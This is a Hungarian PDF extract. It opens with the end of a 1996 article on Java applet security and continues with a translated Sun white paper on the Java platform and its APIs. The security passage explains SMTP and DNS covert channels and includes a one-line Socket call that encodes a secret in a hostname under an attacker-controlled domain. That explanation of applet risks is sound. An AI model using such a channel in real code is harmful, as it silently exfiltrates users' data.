inner.readLine(); } catch(IOException e) {} } } A cél számítógépen a penpal@my.hostileapplet címrõl érkezett leveleket automatikusan szûrni lehet, a fejlécbõl kinyert feladó információkat adatbázisban tárolhatjuk. De nem csak az SMTP-t lehet ilyen rejtett csatorna létrehozására kihasználni, hanem például a DNS file:///E|/docs/Untitled/security.html (12 of 13)20040118 3:01:07 Biztonságos-e a Jáva Forrás: http://www.doksihu (Domain Name System) protokoll-t is. Ennek eredeti feladata, hogy egy számítógép nevébõl (pl hapci mmt.bmehu) kitalálja a hálózati címét (152668113) A protokoll úgy mûködik, hogy a DNS szerverek a kérdést egymás között adogatva megkeresik azt a szervert, amelyik ismeri a keresett gépet. Ha üzemeltetünk egy DNS szervert és olyan gépnevet használunk a programkában pl. egy kapcsolat megnyitására, amely névrõl az Internet hálózaton azt hiszik, hogy a mi szerverünk ismeri, akkor a programkától máris
információt kaphatunk. Képzeljük el például, hogy az intezmenyhu névtartományért a mi DNS szerverünk a felelõs Ekkor a Socket s = new Socket(titok + ".intezmenyhu", 10) utasítás hatására a DNS szerverünk kérést kap, hogy oldja fel a titok.intezmenyhu címet (titok csaknem tetszõleges szöveg lehet). Erre bármilyen hálózati címet válaszolhatunk, a böngészõ biztonsági menedzsere valószinûleg visszautasítja majd a socket létrehozását, de sebaj, mi már megkaptuk a névben elrejtett információt. Persze kis ügyességgel a DNS szerver vissza is küldhet információt a programkának. Mellesleg a DNS-sel sok egyéb baj is lehet. Egy ismert és azóta kijavított biztonsági hibánál egy megfelelõen hazugságra programozott DNS szerver segítségével a letötött programka bármelyik géppel felvehette a kapcsolatot, nem csak a származási helyével. Kiss István updated: 96/11/03, http://www.eunethu/infopen/cikkek/java/securityhtml
file:///E|/docs/Untitled/security.html (13 of 13)20040118 3:01:07 A Java platform Forrás: http://www.doksihu A Java platform Tavalyi számainkban rendre helyt adtunk Java-témával foglalkozó mélyebb szakcikkeknek. Mi sem mutatja jobban ezek kedvezõ fogadtatását a hazai informatikai szakemberek körében, mint az, hogy a www.infopenhu webcímen található online kiadványunknak azóta is leglátogatottabb lapjai ezek a cikkek. Idén szeretnénk folytatni ezt a hagyományt, sõt, a Sun Magyarország révén sikerült jogosultságot szereznünk a Sun Microsystemsmegbízásából készített Java-tanulmányok magyarra fordítására is. Douglas Kramer alábbi cikke – amely a Java platform átfogó ismertetésével igazi Java-alapmûnek számít – ennek a Java White Paper sorozatunknak az elsõ eleme. A tanulmány angol eredetije a weben a www.javasoftcom/docs/white/platform/CreditsPagedochtml címen, a magyar változat pedig a www.infopenhu online kiadványunkon található
meg Az új Java szoftverplatform rendkívül interaktív, dinamikus, biztonságos appletek és alkalmazások elõállítására, futtatására alkalmas hálózatba kapcsolt számítógéprendszereken. Valójában az különbözteti meg a többitõl, hogy más platformok fölött van, és a szoftvert bájtkódokra fordítja le, amelyek nem a fizikai géphez kötöttek, hanem gépi utasítások virtuális számítógéphez. A Java nyelven írt programból a fordítás során bájtkód-fájl áll elõ, amely akármilyen operációs rendszeren képes futni, ha a Java platform telepítve van. Másképpen kifejezve: pontosan ugyanaz a fájl futhat bármely olyan operációs rendszeren, amelyen a Java platform fut. A gépfüggetlenség azért lehetséges, mert a Java platform magja a Java virtuális gép (Java Virtual Machine). Bár a mindennek alapul szolgáló (underlying) platformhoz a Java virtuális gép egyedi alkalmazása tartozik, a virtuális gépnek csak egyetlen specifikációja
van. Ezért a Java platform szabványos, egységes programozási felületet tud szolgáltatni appletekhez és alkalmazásokhoz bármely hardveren. Így ideális az internethez, ahol egy programnak képesnek kell lennie arra, hogy az egész világon bármely számítógépen fusson. A Java platformot arra tervezték, hogy egy egyszer megírt program bárhol futhasson („Write Once, Run Anywhere” képesség). file:///E|/docs/Untitled/tech.htm (1 of 19)20040118 3:01:08 A Java platform Forrás: http://www.doksihu A fejlesztõk a Java nyelvet forrásprogramok írására használják Javával mûködõ alkalmazásokhoz. A forrásprogramot a Java platformra fordítják le, nem az alapul szolgáló rendszerre. A Java nyelvû forrásprogram fordítása közbensõ, átvihetõ formátumú bájtkódokra történik, amelyek bárhol futhatnak, ahol a Java platformot alkalmazzák. Objektumorientált, többszálú, dinamikusan csatolt alkalmazásokat írhatnak a fejlesztõk a Java nyelv
használatával. A platformban beépített biztonsági rendszer, kivételes események kezelése és automatikus hulladékgyûjtés van. Just-in-time fordítóprogramok állnak rendelkezésre, hogy a végrehajtást meggyorsítsák azzal, hogy a Java bájtkódokat gépi nyelvre konvertálják. A Java nyelvbõl a fejlesztõk natív eljárásokat is írhatnak és hívhatnak – C, C++ vagy más nyelveken írt eljárásokat, amelyeket egy adott, alapul szolgáló operációs rendszerhez fordítanak le – a gyorsaság növelése vagy speciális funkciók alkalmazása céljából. A Java nyelv az „ugródeszka” a Java platformhoz; a Java nyelven írt, majd lefordított programok futnak rajta. A Java platformnak két alapvetõ része van: • Java virtuális gép (Java Virtual Machine); • Java alkalmazás programozási felület (Java Application Programming Interface, Java API). A két rész együtt szolgáltatja a végfelhasználó futási környezetét internet- és
intranet-alkalmazásokhoz (részletesen lásd késõbb). Java Base Platform Ez az a minimális Java platform, amelyen a fejlesztõk Javával mûködõ appleteket és alkalmazásokat futtathatnak. Hálózati számítógépekhez, asztali számítógépekhez és munkaállomásokhoz alkalmazható (a kisebb rendszerekhez használt platformot lásd késõbb). Ugyanazt a Java virtuális gépet tartalmazza, amit korábban említettünk, de minimális API-készlettel, amely az alapvetõ appletek és alkalmazások futtatásához szükséges. Ezt Java Applet API-nak vagy Java Base API-nak nevezik A fejlesztõk, akik ennek a minimális készletnek az alkalmazásával írják programjaikat, biztosak lehetnek abban, hogy a program mindenhol futni fog, anélkül, hogy további osztálykönyvtárakra lenne szükség. A Java platform egyes licencbirtokosai szerzõdést kötöttek arra, hogy a Java Base API benne legyen a Java platform általuk megvásárolt konkrét megvalósításában. További
osztálykönyvtárak kifejlesztésével a Java Base Platform nõni fog, és ezek a bõvítések megfelelõ idõben átkerülnek abba a Java Base Platformba, amely mindegyik licencvásárló operációs rendszerén jelen van. file:///E|/docs/Untitled/tech.htm (2 of 19)20040118 3:01:08 A Java platform Forrás: http://www.doksihu A Standard Extension API-nak nevezett másik API-halmazt mostanában definiálja a JavaSoft, vezetõ iparvállalatokkal együttmûködve az alapfunkciók bõvítésében. Idõvel a Standard Extension API egyes részhalmazai át fognak kerülni a Java Base Platformba. Beágyazott Java platform Az Embedded Java Platformot (beágyazott Java platform) azokhoz a fogyasztói készülékekhez szánták, amelyeknek kevesebb erõforrásuk és több speciális funkciójuk van, mint egy hálózati számítógépnek. Ilyenek a set-top dobozok, nyomtatók, másolók és cellás telefonok. E készülékeknek speciális korlátaik lehetnek, például kevés a hely a
memória számára, nincs kijelzõjük, vagy nincsenek hálózathoz csatlakoztatva. Az ilyen platformhoz szánt API-t Java Embedded API-nak (Java beágyazott API) nevezik. Ez a legkisebb API, amivel egy beágyazott készülék rendelkezhet, és még mûködni tud. Minthogy a platform fejlesztés alatt áll, ez az API egyelõre nem érte el a véglegesítés szintjét, következésképpen még nem megfelelõen definiált, de valószínûleg a java.lang és javautil csomagokból fog állni A Javával mûködõ alkalmazások, amelyeket egy adott készülékre írtak, hasonló, dedikált készülékek széles körén mûködhetnek. A Java platform elõnyei A Java Platform elõnyöket nyújt a végfelhasználó, a fejlesztõ és szoftverüzemeltetõ személyzet számára. Elõnyök a végfelhasználó számára Jelenleg a Java platform a world wide web élõ, interaktív tartalmát szolgáltatja just-in-time szoftvereléréssel. Az alkalmazások minden operációs rendszeren azonnal
könnyen használhatók, a felhasználónak nem kell operációs rendszereket kiválasztania a bázisán. Kisebb, kevésbé költséges, dedikált rendszerek fognak rendelkezésre állni specializált alkalmazásokhoz. file:///E|/docs/Untitled/tech.htm (3 of 19)20040118 3:01:08 A Java platform Forrás: http://www.doksihu Elõnyök a fejlesztõ számára A Java nyelv kicsi, „megtanulható” rendszer, és egyre átfogóbb API-készlettel társul. Amit a fejlesztõk egyszer megírtak, bárhol futhat, ami óriási piaci elõnyt jelent más nyelvekkel szemben. Ezenkívül a Java fejlesztõkörnyezetek egyetlen bináris formátumra végzik el a fordítást minden operációs rendszeren. Ahelyett, hogy többféle platformon kellene fejleszteni ahhoz, hogy többféle platformhoz tudjanak szállítani, a fejlesztõk most – költséget megtakarítva – egy platformon fejleszthetnek, hogy ugyanahhoz a platformhoz szállítsanak, amely mindenütt megtalálható. Ez az „egyszer
megírni, bárhol futtatni” lehetõség elég ok arra, hogy egyes fejlesztõk a Java nyelvhez forduljanak a C vagy C++ alternatívájaként, még egyedülálló, nem hálózatba kapcsolt alkalmazások esetén is. Ráadásul alkalmazások készítése osztott, újra felhasználható objektumokból tovább csökkentheti a költségeket azáltal, hogy a fejlesztõk csak arra koncentrálnak, hogy újat hozzanak létre. Hálózaton keresztül terjeszthetik termékeiket, ahelyett, hogy a szoftverüzletek polcainak helyéért versenyeznének. Elõnyök az adminisztrációs és szoftverüzemeltetõ személyzet számára A verziók ellenõrzése és a bõvítés egyszerûbb, mert a Javával mûködõ alkalmazásokat központi tárban lehet tartani, és onnan lehet szolgáltatni különbözõ feladatokhoz. Több szállítótól származó, többféle platformot tartalmazó környezetben a sok platform helyett csak egyet kell kezelni. A mostanában megjelenõ, alacsonyabb árú hálózati
számítógépek csökkenthetik a karbantartási és beruházási kiadásokat. A hálózati számítógépekkel az adatok menedzselése központilag lehetséges, az adatfeldolgozás pedig helyileg végezhetõ el. Nagy intranethálózatokat üzemeltetõ vállalatok, amelyeknek nem éri meg, hogy rendszerüket a legújabb, sok memóriát igénylõ operációs rendszerre bõvítsék, Javával mûködõ alkalmazásokat futtathatnak valamennyi meglévõ gépükön. Ha a cégek Javával mûködõ alkalmazások által olvasható formátumban szolgáltatják adataikat, lehetõvé válik, hogy ügyfeleik platformtól függetlenül érhessék el azokat, amelyekre szükségük van. Ha az ügyfelek Java platformot alkalmaznak, a vállalatok kihasználhatják az internet interaktív lehetõségeit arra, hogy alkalmazottaik feladatait az ügyfél végezze el. Csökkenthetik a megrendelés kitöltésére fordított idõt, mivel az ügyfelek maguk töltik ki a megrendelõ ûrlapokat a weboldalakon. Ez
most könnyebben lehetséges, mint korábban, mert az ügyfél bármely operációs rendszeren dolgozhat. file:///E|/docs/Untitled/tech.htm (4 of 19)20040118 3:01:08 A Java platform Forrás: http://www.doksihu Appletek és alkalmazások A fejlesztõk két különbözõ fajta programot hozhatnak létre a Java platformon: • Az appletek olyan programok, amelyeknek böngészõre van szükségük a futáshoz. Az <applet> címke egy weboldalba van beágyazva, és megnevezi a futtatandó programot. Amikor a felhasználó vagy az interneten vagy a vállalati intraneten keresztül eléri ezt az oldalt, az applet automatikusan letöltõdik a szerverrõl, és a kliensgépen fut. Minthogy az appletet le kell tölteni, kicsire és modulárisra tervezik, hogy el lehessen kerülni a hosszú letöltési idõket. • Az alkalmazások olyan programok, amelyeknek nincs szükségük böngészõre a futáshoz – nincs beépített letöltõ mechanizmusuk. Amikor egy alkalmazást hívnak, az fut
Ily módon az alkalmazások ugyanolyan programok, mint a más nyelveken írt többi. Asztali számítógépekkel végzett hagyományos feladatokat hajthatnak végre, amilyeneket szövegszerkesztõvel, táblázatkezelõ programmal vagy grafikus alkalmazással végzünk. Az applethez hasonlóan az alkalmazásnak szüksége van a Java Platformra a futáshoz, de a platform külön program lehet, közvetlenül beágyazva az alapul szolgáló operációs rendszerbe vagy esetleg magába az alkalmazásba. Az appletek és alkalmazások hívásának eszközei különbözõek, nagyrészt azonban ugyanúgy érik el a nyelv által nyújtott lehetõségek széles körét. Például mind az applet, mind az alkalmazás hozzáférhet a host adatbázisához, visszakeresheti a szükséges adatokat, helyi adatfeldolgozást végezhet, és az eredményeket tárolhatja a hoston. Az applet futásához hálózat szükséges, az alkalmazáséhoz viszont nem. Az alkalmazás szabadsága annyiban nagyobb, hogy
korlátozás nélkül hozzáférhet a rendszer szolgáltatásaihoz. Az applettõl eltérõen normál módon elérheti a bármely merevlemezen lévõ fájlokat olvasás vagy írás céljából. Mivel az applet potenciálisan letölthetõ egy megbízhatatlan weboldalról, nem olvashat vagy írhat egyetlen fájlrendszerrõl, ill. fájlrendszerre sem, kivéve azt a szervert, amelyikrõl származik Ez a korlátozás enyhíthetõ, ha az appletek megjelölhetõk digitális jellel, ami lehetõvé teszi, hogy a végfelhasználó biztos legyen abban, hogy az változatlan formában lett letöltve megbízható forrásról. Ahol helyi fájltárolás szükséges, ott jelenleg alkalmazást kell használni. Hol fogják alkalmazni a Java Platformot? A Java Platform nagy lendülettel nyomul elõre, hogy minden rendszerben jelen legyen. A folyamat file:///E|/docs/Untitled/tech.htm (5 of 19)20040118 3:01:08 A Java platform Forrás: http://www.doksihu három fokozatban zajlik le a böngészõktõl az
asztali számítógépek, munkaállomások és hálózatok operációs rendszerébe s végül a beágyazott készülékekbe. Az elsõ, jelenlegi fokozatban a Java Base Platformot a legelterjedtebb internetböngészõ, a Netscape Navigator, valamint az Internet Explorer is tartalmazza. Más böngészõkben ugyancsak alkalmazzák, vagy alkalmazni fogják, például a HotJavában. A második fokozatban a Java Base Platformot hamarosan beépítik az asztali számítógépekhez, munkaállomásokhoz és hálózatokhoz készült összes operációs rendszerbe (lásd 1. ábra) Ha a Microsoft Windows, Macintosh, OS/2 és Unix számítógépeken rendelkezésre fog állni, a Java Base Platform olyan széles bázison lesz telepítve, mint amilyet ezek a platformok együttesen alkotnak. Ennek a platformnak a megcélzásával a fejlesztõk új, robbanásszerûen növekedõ piacot tárnak fel web- és intranetalkalmazásokhoz, anélkül, hogy konkrét hardver- vagy operációsrendszer-környezethez
lennének kötve. A Java Platform lesz valamennyi hálózatra és webre alapozott számítástechnika platformja. A JAVA BASE platformot tartalmazó operációs rendszerek Windows Microsoft Corporation International Business Machines Windows 95, Windows NT •Windows 3.1 Macintosh • Apple Computer, Inc. MacOS OS/2 • International Business Machines file:///E|/docs/Untitled/tech.htm (6 of 19)20040118 3:01:08 OS/2 A Java platform Forrás: http://www.doksihu Unix • Hewlett-Packard Corp. • Hitachi Ltd. • International Business Machines • Silicon Graphics, Inc. • SunSoft, Sun Microsystems, Inc. • The Santa Cruz Operation, Inc. (SCO) • Tandem Computers HP UX Hitachi OS AIX Irix Solaris UnixWare Non-Stop Kemel Hálózati OS Novell, Inc. NetWare 4.0 Nagyszámítógépes OS International Business Machines MVS 1. ábra A Java Base Platform licencét megvásárló cégek. A platformot operációs rendszerekben alkalmazzák A harmadik fokozatban
a JavaChip nyomtatottáramkör-család révén a platform rendelkezésre fog állni fogyasztói és ipari beágyazott készülékek széles körében, úgymint dedikált hálózati számítógépek, settop dobozok, nyomtatók, másológépek és cellás telefonok. JavaChip család A JavaSoft a Sun Microelectronics-szal mûködik együtt a picoJava, microJava és UltraJava mikroprocesszor-család kifejlesztésében. Ezek közül az elsõ, a picoJava, ténylegesen a szabványos specifikáció olyan mikroprocesszorok tervezéséhez, amelyek kezelik a Java virtuális gépet; ennek a konstrukciónak a licencét megvásárolhatják az áramkörgyártók. A konstrukció új architektúra, amely nem SPARC-ra alapozott – a Java különleges igényeit veszi figyelembe, mint pl. többszálú mûködés, hulladékgyûjtés. file:///E|/docs/Untitled/tech.htm (7 of 19)20040118 3:01:08 A Java platform Forrás: http://www.doksihu A microJava és UltraJava tényleges chipek, amelyeket a Sun
Microelectronics fejleszt a picoJava konstrukciója alapján. A chipek a Java virtuális gépet és a Java Embedded API-t szilíciumáramkörökben valósítják meg, és az alkalmazásra jellemzõ I/O-, memória-, kommunikációs és vezérlõfunkciókban különböznek. A JavaOS a JavaChipen lévõ RAM-ban fut A JavaChip család lehetõvé teszi, hogy a Java virtuális gép a leghatékonyabb, költségkímélõ módon fusson, ezáltal nagy teljesítmény valósítható meg Javával mûködõ dedikált készülékekben, mint pl. a hálózati számítógépek JavaOS A JavaOS operációs rendszer a Java Base Platformot alkalmazza Javával mûködõ appletek és alkalmazások futtatásához. Ebben a minõségében a Java virtuális gépet, Java Embedded API-t és az alapul szolgáló funkciókat valósítja meg ablakok, a hálózat és fájlrendszer kezeléséhez. Hálózati számítógépekhez, fogyasztói készülékekhez és olyan hálózati készülékekhez tervezték, amelyeket
beágyazott alkalmazásokban használnak. Ez utóbbiakra példa a nyomtatók, másológépek és ipari vezérlõk. Ezeknek a készülékeknek a bekapcsolása automatikus, telepítéskor nem igényelnek beállítást, nincs rendszeradminisztrációjuk, és hálózatban automatikusan bõvíthetõk. A JavaOS-t a mikroprocesszorok széles köréhez dolgozzák ki, a JavaChip családhoz is. Amikor a JavaOS egy JavaChipen fut, a mikroprocesszornak szilíciumban megvalósított Java virtuális gépét használja. Java nyelv A fejlesztõk eszköze forrásprogramok írásához. A Java nyelven írt appletek és alkalmazások formája lefordítás után olyan, amely fut a Java Platformon. Amikor a fejlesztõk Java nyelven írnak forrásprogramot, ez a program hívni tudja a Java Base API-ban, Java Standard Extension API-ban definiált API-kat, vagy egy új API-t, ami magában a forráskódban van definiálva. A futás során az API-k mindhárom fajtájának azonos a pozíciója, és nincsenek
megkülönböztetve a forrásuk alapján. A forrásnak a Java Compilerrel történõ fordítása olyan bájtkódokat állít elõ, amelyek végrehajtása a Java Platformon történik. A professzionális programozási nyelvekhez viszonyítva a Java nyelv egyszerû, mégis rugalmas és file:///E|/docs/Untitled/tech.htm (8 of 19)20040118 3:01:08 A Java platform Forrás: http://www.doksihu hatékony. Objektumorientált (egyszeres örökléssel), a típusok állandóak, többszálú futásra képes, dinamikusan csatolt és automatikus hulladékgyûjtést hajt végre. Szintaxisa C-re és C++-ra alapozott, így az ezeket használó programozók egyszerûen elsajátíthatják. A redundancia kevesebb, ami azt jelenti, hogy a fejlesztõk könnyebben tudják olvasni a mások által írt programokat. Például a Java nyelvben nincs a felhasználó által definiált operátor-túlterhelés, mint a C++ban Képessé teszi a fejlesztõket arra, hogy három különféle programozást végezzenek egy
nyelven. A Smalltalk szimbolikus programozási nyelvhez hasonlóan a Java objektumorientált, dinamikus szerkesztést és hierarchikus osztályokat alkalmaz egyszeres örökléssel. Numerikus programozáshoz a Java nyelvnek platformfüggetlen adattípusai vannak, tömbhatár-ellenõrzést alkalmaz, és jól definiált IEEE aritmetikája van. Ezek a képességek jó alapot szolgáltatnak stabil numerikus algoritmusok írásához, amelyek ismételhetõ eredményeket adnak. Rendszerprogramozáshoz a kifejezések, utasítások és operátorok a Java nyelvben a legtöbb esetben ugyanazok, mint a C-ben. A Java nyelv elõsegíti a programozási hibák korai felismerését még a fejlesztés során, mielõtt a szoftver használatba kerülne. Ezt az adatok szigorú típusmeghatározásával, automatikus hulladékgyûjtéssel, tömbkorlátok ellenõrzésével, automatikus típuskényszer hiányával és a mutató adattípus hiányával éri el. Ezek biztonságot nyújtanak az internet korában,
amikor a fejlesztõk nagyon gyorsan hoznak ki újabb szoftvereket. A Java nyelvben beépített többszálú mûködés van, szigorú modell szabályozza, hogy a szálak szempontjából kritikus programot hogyan lehet szinkronizálni verseny és idõzítési gondok elkerülése céljából. A multiprocesszálás elterjedésével és a processzorok árának csökkenésével a Java nyelv lehetõvé teszi, hogy az egyidejû alkalmazások és szolgáltatások új generációja jöjjön létre. A kivételes események kezelésének és a szálvezérlésnek a mechanizmusai a nyelvbe és annak típusrendszerébe vannak beépítve. Ezenfelül a nyelv alosztályok dinamikus szerkesztését is tartalmazza Az ezt végzõ eljárások felülírnak vagy felvesznek funkciókat futás közben. Más környezetekben ezek a jellemzõk gyakran rejtett és bonyolult rendszerszolgáltatások voltak. Ezek az eszközök egyszerûvé válnak, és sok elõnyt nyújtanak, ha a nyelvben vannak, s így átvihetõk
platformok között. A nyelv azt is meghatározza, hogy mi a bináris kompatibilitás. Ezt osztály (class) fájlformátum definiálásával valósítja meg, amely az utasításokat tartalmazza a Java virtuális gép számára bájtkódok formájában. A Java Platform felépítése A Java Platformnak két része van: a Java virtuális gép (Java Virtual Machine) és a Java API (2. ábra) file:///E|/docs/Untitled/tech.htm (9 of 19)20040118 3:01:08 A Java platform Forrás: http://www.doksihu A Java virtuális gép „puha” számítógép, amelyet szoftverben vagy hardverben lehet megvalósítani; absztrakt gép, amit a létezõ processzorok fölötti megvalósításra terveztek. A csatolófelület és az adapterek lehetõvé teszik, hogy könnyen lehessen új operációs rendszerekhez csatlakoztatni, ahelyett, hogy újra kelljen írni. A Java API szabványos felületet alkot appletekhez és alkalmazásokhoz az alapul szolgáló operációs rendszertõl függetlenül;
nélkülözhetetlen keret alkalmazások fejlesztéséhez. Egyre több fontos területen specifikál felületeket, amelyeket a fejlesztõk Javával mûködõ alkalmazások készítéséhez használnak. A Java Base API a legalapvetõbb nyelv-, segédprogram-, I/O-, hálózati, GUI- és applet-szolgáltatásokat tartalmazza; azok az operációs rendszereket kidolgozó cégek, amelyek megvásárolták a Java licencét, szerzõdést kötöttek arra, hogy az általuk használt Java Platformban ezek benne legyenek. A Java Standard Extension API kiterjeszti a Java képességeit a Java Base API-n túl. E kiterjesztések közül néhány végül át fog kerülni a Java Base API-ba. Egyéb, nem standard API-bõvítéseket az applet, az alkalmazás vagy az alapul szolgáló operációs rendszer szolgáltathat. Amint új API-bõvítések specifikációja megjelenik, az ipar számára rendelkezésre bocsátják értékelés és a vélemények közlése céljából, mielõtt véglegesítésük
megtörténne. Az ábrán a Java Base Platform a sötéten jelölt rész, az Adapternek feltüntetett blokkokat is hozzászámítva. A Java API tartalmazza mind a Java Base API-t, mind a Java Standard Extension API-t Az osztályok ezen API-k alkalmazásai. A Java virtuális gép a platform magjában helyezkedik el A csatolófelület (Porting Interface) a Java virtuális gép és az operációs rendszer (OS) vagy böngészõ között található. Van egy platformfüggetlen (sötéten ábrázolva) és egy platformfüggõ része, amit adapterként jelöltünk. Az OS és a JavaOS szolgáltatja az ablak-, fájlkezelési és hálózati funkciókat Különbözõ gépeket lehet összekötni hálózaton keresztül, mint az ábra mutatja. A Java API keret nyitott és bõvíthetõ. Az egyes felületek specifikációját ipari szakemberek fejlesztik minden szakmai területen. A kidolgozott specifikációkat nyilvánosságra hozzák, és az ipar rendelkezésére bocsátják értékelés
céljából. Az API-specifikációk megvalósítását a JavaSofttól és másoktól lehet beszerezni az ipar minden területén. A mai gyorsan fejlõdõ környezetben a Java APIkeret lehetõvé teszi az újítások könnyû megvalósítását a Java Platform bõvítése révén Az API-k szervezése csoportokban vagy készletekben történik. Mindegyik API-készlet egy vagy több csomagként (névintervallumok) valósítható meg. Minden csomag egy készletben csoportosít osztályokat és felületeket, amelyek egymással összefüggõ mezõket, konstruktorokat és eljárásokat definiálnak. Java virtuális gép Ez az alapul szolgáló operációs rendszer és hardver függetlenségének a kulcsa – platform, amely elfedi file:///E|/docs/Untitled/tech.htm (10 of 19)20040118 3:01:08 A Java platform Forrás: http://www.doksihu az alapul szolgáló operációs rendszert a Javával mûködõ appletek és alkalmazások elõtt, így megkönnyíti a virtuális gép csatlakoztatását a
böngészõhöz vagy másik operációs rendszerhez. Ezenkívül a virtuális gép gépfüggetlen formátumot definiál bináris fájlokhoz, amelyeket osztály (.class) fájlformátumnak neveznek. Ez a formátum utasításokat tartalmaz a virtuális számítógéphez bájtkódok formájában. Minden Java nyelven írt program bájtkód-reprezentációja szimbolikus abban az értelemben, hogy az eltolások (offsets) és indexek az eljárásokban nem állandók, hanem szimbolikusan vannak megadva karaktersorozat-névként. Az elsõ alkalommal, amikor a program egy eljárást hív, azt név szerint keresi az osztály-fájlformátumban, és ekkor meghatározza az eltolás numerikus értékét, hogy a késõbbi kereséskor gyorsabban lehessen elérni. Így új vagy felülíró eljárásokat lehet bevezetni késõbb a futás során bárhol az osztálystruktúrában; a rá történõ hivatkozás szimbolikusan történik, és megfelelõen elérhetõ a kód változtatása nélkül. A bájtkód a
program magas szintû reprezentációja, hogy az optimalizálást és a gépi kód generálását (justin-time fordítóprogrammal) ezen a szinten lehessen elvégezni. Ezenkívül a hulladékgyûjtés a virtuális gépen belül történhet, mert a változókat a Java Platform a címintervallumában lévõ vermekben tartja. Java Base API A Java Platformon az API-k használatával a fejlesztõk megvalósíthatják, hogy alkalmazásaik mindenhol fussanak. Jelenleg a Java Base API-t definiálták Java Applet API-nak, amit az alábbiakban ismertetünk Idõvel, a platform fejlõdésével, ez a bázis nõni fog, amint egyes Standard Extension API-k átkerülnek a Java Base API-ba. A Java Base API-t Java Core API-nak is nevezik Java Applet API Ez definiálja az alapvetõ építõelemeket a Javával mûködõ appletek és alkalmazások létrehozásához. A java csomagban lévõ valamennyi osztályt tartalmazza: java.lang, javautil, javaio, javanet, javaawt és java.applet (Figyeljük meg,
hogy a Java Applet API a JavaSoft által szállított Java Development Kit 1.02 verziójának teljes API-készlete) Java Standard Extension API Itt a bõvítések „szabványosak” abban a vonatkozásban, hogy publikált, egységes, nyitott API-t file:///E|/docs/Untitled/tech.htm (11 of 19)20040118 3:01:08 A Java platform Forrás: http://www.doksihu képeznek, amelyeket bárki alkalmazhat. A definiálás után fel lehet ezeket venni, de a visszafelé érvényes kompatibilitás megõrzése érdekében nem változtathatók meg olyan módon, hogy hívásuk hibát okozzon. Idõvel új bõvítéseket vesznek fel, közülük néhány át fog kerülni a Java Base API-ba. A költöztetés jelenlegi tervét a 3. ábra mutatja Egy megvalósításnak el kell végeznie mindazt, ami végrehajtható azon a platformon, amelyen fut, a hardverkorlátokon belül. Például asztali számítógépek operációs rendszerei, amelyek hangszórót elérhetnek, hangot állítanak elõ; ám olyan
nagyszámítógépes vagy hálózati operációs rendszernek, amelynek nincs hangszórója, megengedett, hogy üres (no-op) utasításnak megfelelõen vagy valamilyen más, jól meghatározott módon viselkedjen, mint, mondjuk, kivételes esemény jelzése. Java Security API Ez keretet ad a fejlesztõk számára, hogy könnyen és biztonságosan építhessék be a biztonsági funkciókat – titkosírás digitális aláírásokkal, titkosítás és azonosítás – appletjeikbe és alkalmazásaikba. A Java Security egy absztrakt réteget tartalmaz, amelyet az alkalmazások hívhatnak meg. Ez a réteg hívásokat küld a Java Security programcsomagokhoz, amelyek megvalósítják a tényleges titkosírást. Ezáltal lehetõvé válik, hogy titkosírás-funkciókra specializálódott külön fejlesztõk programcsomagokat írjanak a Java Securityhoz. A Java Security kulcsfontosságú területek rendszerkezelését is tartalmazza, mint például biztonságos adatbázisok, bizonylatoló
eszközök és így tovább. Ez az architektúra lehetõvé teszi a biztonsági rendszer cseréjét és bõvítését. Ha erõsebb algoritmus vagy gyorsabb megvalósítás szerezhetõ be, a modulokat ki lehet cserélni a platformon az alkalmazások szempontjából teljesen transzparens módon. Java Media API Multimédia osztályokat definiál, amelyek gazdag, interaktív hordozók széles választékát tudják kezelni a weben vagy azon kívül. Ilyen osztályok a hang, video, 2D, 3D, animáció, telefontechnika és együttmûködés. Bõvíthetõ adathordozó-keret (Media Framework) gondoskodik valamennyi idõ szerint szervezett hordozó (hang, video, animáció, video-távkonferencia) közös vezérlésérõl és szinkronizálásáról, valamint szûrõkrõl és processzorokról. file:///E|/docs/Untitled/tech.htm (12 of 19)20040118 3:01:08 A Java platform Forrás: http://www.doksihu A Java Media API számos különálló komponensbõl áll, mindegyik vagy egy speciális
adathordozótípussal (hang, video, 2D, 3D) vagy egy hordozóra vonatkozó tevékenységgel (animáció, együttmûködés, telefónia) kapcsolatos. Ezek a felületek együttesen gondoskodnak arról, hogy a Java nyelven programozók különbözõ hordozótípusok széles választékát kezelhessék alkalmazásaikban és appletjeikben. A Java Media API kiterjeszthetõ. A hordozóátvitel, gyûjtõk és kódolási formátumok napjainkban nagy és állandóan változó kínálatát foglalja magában, és lehetõvé teszi hordozókkal kapcsolatos új funkciók felvételét, amikor azok megjelennek. A JavaSoft vezetõ iparvállalatok csoportjával – Adobe, Apple, Intel, Macromedia, Netscape, SGI és Sun Microsystems – dolgozott együtt a Java Media szabványainak kidolgozásában. A Java Media API-k komponensei a következõk: • Java 2D API – Grafikus és képszerkesztõ képességeket szolgáltat a Java Applet API-ban rendelkezésre állókon kívül. A 2D API lehetõvé teszi
kiváló minõségû, platformtól független grafika létrehozását, pl. vonalrajzolás, szöveg és kép kezelését egyetlen modellben, mely egységesen kezeli a színeket, a térbeli transzformációkat és a kompozíció elvégzését. Kiegészítõ mechanizmust tartalmaz különbözõ megjelenítõ eszközök (pl. képernyõk és nyomtatók), képformátumok, képkódolások, színezett felületek és kompozítorok széles körének kezeléséhez. • Java Media Framework API – Hagyományos, idõben kritikus hordozókat kezel, mint például hang, video és MIDI. A keret közös modellt szolgáltat idõzítéshez, szinkronizáláshoz és kompozíció elvégzéséhez, amely a hordozókomponensekhez alkalmazható együttmûködésük elérése céljából. Arra tervezték, hogy adatsorozatokat kezeljen, legyenek azok élõk vagy tároltak, tömörítettek vagy nyersek, vagy mintavételezettek hang- és videofolyamból. – Video API – Mind folyó, mind tárolt videoforrásokat
befogad. Adat-alapformátumokat és vezérlõ felületeket definiál. – Audio API – Mintavételezett és szintetizált hangjeleket kezel. 3D térbeli hanghatáshoz tartalmaz specifikációt, és mind folyó, mind tárolt hangforrásokat befogad. – MIDI API – Idõzített eseménysorozatokat kezel. Az adathordozó-keretet (Media Framework) használja a többi tevékenységgel történõ szinkronizáláshoz és egy mechanizmushoz, ami lehetõvé teszi a bõvítést új szintetizátorokkal és effektusokkal. • Java Animation API – Szellemek (sprites) hagyományos 2D animációját kezeli. A sorrend vezérlését veremben tárolja. A 2D felületeket használja kompozíció elvégzéséhez s a Media Frameworköt szinkronizáláshoz, kompozícióhoz és idõzítéshez. file:///E|/docs/Untitled/tech.htm (13 of 19)20040118 3:01:08 A Java platform Forrás: http://www.doksihu • Java Share API – Az alapvetõ absztrakciót szolgáltatja élõ, kétirányú, több résztvevõs
